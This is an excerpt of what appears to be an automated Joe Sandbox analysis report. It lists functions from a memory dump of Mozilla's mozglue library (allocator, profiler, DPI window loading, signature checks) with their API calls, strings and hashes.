VerSetConditionMask.NTDLL ref: 6CEA73FF
VerSetConditionMask.NTDLL ref: 6CEA7406
VerSetConditionMask.NTDLL ref: 6CEA740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CEA741A
moz_xmalloc.MOZGLUE(?), ref: 6CEA755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEA7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CEA7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CEA7598
free.MOZGLUE(00000000), ref: 6CEA75AC

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

Strings

wintrust.dll, xrefs: 6CEA72CD
(, xrefs: 6CEA768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CEA72C8
SHA256, xrefs: 6CEA6EC0

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 34c7cd42a287dac28d0c88b7f694b5617dade9ed2c0925e4dbf2894f0bb181db
Instruction ID: a1bdabacb10d3f0103b211411287cba9dc6dea8ee0afeb72638d2f9804b6c31c
Opcode Fuzzy Hash: 34c7cd42a287dac28d0c88b7f694b5617dade9ed2c0925e4dbf2894f0bb181db
Instruction Fuzzy Hash: ED52E7B1E102149FEB61CF64CC85BAA77B8EF46718F214499E4099BB40DB70AF86CF51

Function 6CEC6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEC7019
LeaveCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEC7061
EnterCriticalSection.KERNEL32(?), ref: 6CEC71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CEC721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CEC723E
EnterCriticalSection.KERNEL32(?), ref: 6CEC726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CEC72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CEC733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CEC73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CEC961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEC9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEC9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEC964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEC96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEC96DB
AcquireSRWLockExclusive.KERNEL32(6CF1E804), ref: 6CEC9747
GetSystemInfo.KERNEL32(?), ref: 6CEC9792
__Init_thread_footer.LIBCMT ref: 6CEC97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CF1E810,00000040), ref: 6CEC97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E7B8,00001388), ref: 6CEC9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E744,00001388), ref: 6CEC984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E784,00001388), ref: 6CEC9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E7DC,00001388), ref: 6CEC9895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CEC9BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CEC99D2
MALLOC_OPTIONS, xrefs: 6CEC97CA
Compile-time page size does not divide the runtime one., xrefs: 6CEC9B38
MOZ_CRASH(), xrefs: 6CEC9B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEC9933, 6CEC9A33, 6CEC9A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CEC9993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CEC99A8
<jemalloc>, xrefs: 6CEC9B33, 6CEC9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CEC99BD

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 74947768649b516b6fa89806cfd178ad3253d147004877d0245cb164c962450b
Instruction ID: ee9d6a54f2babee4f2e4a66ecf7310dabdf2e71ac9e88bb2141c71dce7f7cc07
Opcode Fuzzy Hash: 74947768649b516b6fa89806cfd178ad3253d147004877d0245cb164c962450b
Instruction Fuzzy Hash: 8D532771B157018FD714CF28C681615BBF1BF8A328B29C66DE8798BB91D771E841CB82

Function 6CED0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CED0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CED0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CED0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CED0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CED1031
LeaveCriticalSection.KERNEL32(?), ref: 6CED10D0
EnterCriticalSection.KERNEL32(?), ref: 6CED117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CED1C39
EnterCriticalSection.KERNEL32(6CF1E744), ref: 6CED3391
LeaveCriticalSection.KERNEL32(6CF1E744), ref: 6CED33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CED3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CED3437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CED3A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CED37D2
MALLOC_OPTIONS, xrefs: 6CED35FE
Compile-time page size does not divide the runtime one., xrefs: 6CED3946
MOZ_CRASH(), xrefs: 6CED3950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CED3559, 6CED382D, 6CED3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CED3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CED37A8
<jemalloc>, xrefs: 6CED3941, 6CED39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CED37BD

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0279a8b82b06ab464348078f9194c79fb995efdc649614d33a0ae0a0332626c0
Instruction ID: c506b345141f3e4b7451adbb05fd6142be7c034d7c3788f989d3e9bc3106a3df
Opcode Fuzzy Hash: 0279a8b82b06ab464348078f9194c79fb995efdc649614d33a0ae0a0332626c0
Instruction Fuzzy Hash: 35537C71A157018FD704CF28C540616FBF1BF8A328F2AC66DE8699BB91D775E842CB81

Function 6CEF55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CECE1A5), ref: 6CEF5606
LoadLibraryW.KERNEL32(gdi32,?,6CECE1A5), ref: 6CEF560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CEF5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CEF563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CEF566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CEF567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CEF5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CEF56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CEF56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CEF56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CEF56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CEF5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CEF572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CEF5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CEF5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CEF577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CEF5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CEF57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CEF57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CEF57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CEF57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CEF57FF

Strings

CreateWindowExW, xrefs: 6CEF56C5
GetDpiForWindow, xrefs: 6CEF5690
ShowWindow, xrefs: 6CEF56DE
GetWindowDC, xrefs: 6CEF5710
GetSystemMetricsForDpi, xrefs: 6CEF5677
SetWindowPos, xrefs: 6CEF56F7
MonitorFromWindow, xrefs: 6CEF578D
FillRect, xrefs: 6CEF5729
CreateSolidBrush, xrefs: 6CEF57E4
user32, xrefs: 6CEF5601
StretchDIBits, xrefs: 6CEF57CC
ReleaseDC, xrefs: 6CEF5742
gdi32, xrefs: 6CEF560A
DeleteObject, xrefs: 6CEF57F9
RegisterClassW, xrefs: 6CEF56AC
LoadIconW, xrefs: 6CEF575B
GetThreadDpiAwarenessContext, xrefs: 6CEF562D
GetMonitorInfoW, xrefs: 6CEF57A2
SetWindowLongPtrW, xrefs: 6CEF57B7
AreDpiAwarenessContextsEqual, xrefs: 6CEF5637
EnableNonClientDpiScaling, xrefs: 6CEF5666
LoadCursorW, xrefs: 6CEF5774

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 084ea0d00006b35b75ba43f668c8c860bd2fc6d979bc059c07c906fc480d9e97
Instruction ID: d96b36abf469002f74cca0b40e1a0513f91aae5027fbb651d5f8e79ec163fd84
Opcode Fuzzy Hash: 084ea0d00006b35b75ba43f668c8c860bd2fc6d979bc059c07c906fc480d9e97
Instruction Fuzzy Hash: 645178B0F227469BDB809F354D15B663AB9AB16749B228835E821E2F42DF75CC018F60

Function 6CEF34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF3EE2

Part of subcall function 6CEF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CEF61DD
Part of subcall function 6CEF6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CEF622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF4157

Part of subcall function 6CEF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CEF6250
Part of subcall function 6CEF6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEF6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CEF484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CEF4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CEF4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CEF4896
free.MOZGLUE ref: 6CEF489F

Strings

, xrefs: 6CEF4CD2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7c3561a959ab5da5f079c4c3569ea17708ce9cfe810634336780e57242205c6a
Instruction ID: c1a83cbecf477490939b9772aabb4c645d54cea93c8b03d49a0fc0b41213b8c5
Opcode Fuzzy Hash: 7c3561a959ab5da5f079c4c3569ea17708ce9cfe810634336780e57242205c6a
Instruction Fuzzy Hash: 87F25E74908B808FC765CF28C19469AFBF1FFCA348F218A5ED99997711DB319486CB42

Function 6CEDF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEDF09B

Part of subcall function 6CEB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B85
Part of subcall function 6CEB5B50: EnterCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B90
Part of subcall function 6CEB5B50: LeaveCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5BD8
Part of subcall function 6CEB5B50: GetTickCount64.KERNEL32 ref: 6CEB5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CEDF0AC

Part of subcall function 6CEB5C50: GetTickCount64.KERNEL32 ref: 6CEB5D40
Part of subcall function 6CEB5C50: EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CEDF0BE

Part of subcall function 6CEB5C50: __aulldiv.LIBCMT ref: 6CEB5DB4
Part of subcall function 6CEB5C50: LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CEDF155
GetCurrentThreadId.KERNEL32 ref: 6CEDF1E0
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF1ED
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF212
GetCurrentThreadId.KERNEL32 ref: 6CEDF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CEDF248
GetCurrentThreadId.KERNEL32 ref: 6CEDF2AE
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF2BB
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF2F8

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDF350
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF35D
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF381
GetCurrentThreadId.KERNEL32 ref: 6CEDF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF3A0
GetCurrentThreadId.KERNEL32 ref: 6CEDF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF491

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CEDF3CF

Part of subcall function 6CEDF070: GetCurrentThreadId.KERNEL32 ref: 6CEDF440
Part of subcall function 6CEDF070: AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF44D
Part of subcall function 6CEDF070: ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CEDF4A8
GetCurrentThreadId.KERNEL32 ref: 6CEDF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF561
GetCurrentThreadId.KERNEL32 ref: 6CEDF577
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF585
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CEDF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CEDF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CEDF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CEDF499

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: f23240e95d7c1c01c93a58706200a0445a261130fbdf94e937fe848d8d95e804
Instruction ID: 068a102fe5e4990c810ae5552a575c140ffb3cb176cee356b52d33d50bbaa897
Opcode Fuzzy Hash: f23240e95d7c1c01c93a58706200a0445a261130fbdf94e937fe848d8d95e804
Instruction Fuzzy Hash: BCD14971F14200CFDB84DF69D45679977F8EB46328F22091EE91983F81CB756809C7A6

Function 6CEA64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CEA64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CEA64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CEA6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CEA6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CEA652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA671C
GetCurrentProcess.KERNEL32 ref: 6CEA6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CEA672F
GetCurrentProcess.KERNEL32 ref: 6CEA6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CEA6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CEA6A80
GetSystemInfo.KERNEL32(?), ref: 6CEA6ABE
__Init_thread_footer.LIBCMT ref: 6CEA6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEA6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEA6AF7

Strings

nvdxgiwrap.dll, xrefs: 6CEA6513
_etoured.dll, xrefs: 6CEA64ED
nvd3d9wrap.dll, xrefs: 6CEA6500
detoured.dll, xrefs: 6CEA64DA
user32.dll, xrefs: 6CEA6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CEA6798

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 6af0a741d7d994b643cc73c2870bb5b2784c8cfe55f5b702ea10750fe3e87c10
Instruction ID: e2a7ef4cb989bd116bb7c5d47cd7073d5c30587ed01c0423feac10c7e7a6e8f0
Opcode Fuzzy Hash: 6af0a741d7d994b643cc73c2870bb5b2784c8cfe55f5b702ea10750fe3e87c10
Instruction Fuzzy Hash: DBF1C470E052198FDB20CF68CD487DAB7B9AF4631CF244199E819EBB41D731AA86CF51

Function 6CEC60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEC60C9
LeaveCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEC610D
EnterCriticalSection.KERNEL32(?), ref: 6CEC618C
LeaveCriticalSection.KERNEL32(?), ref: 6CEC61F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CEC6B6A
MALLOC_OPTIONS, xrefs: 6CEC6888
Compile-time page size does not divide the runtime one., xrefs: 6CEC6AAE
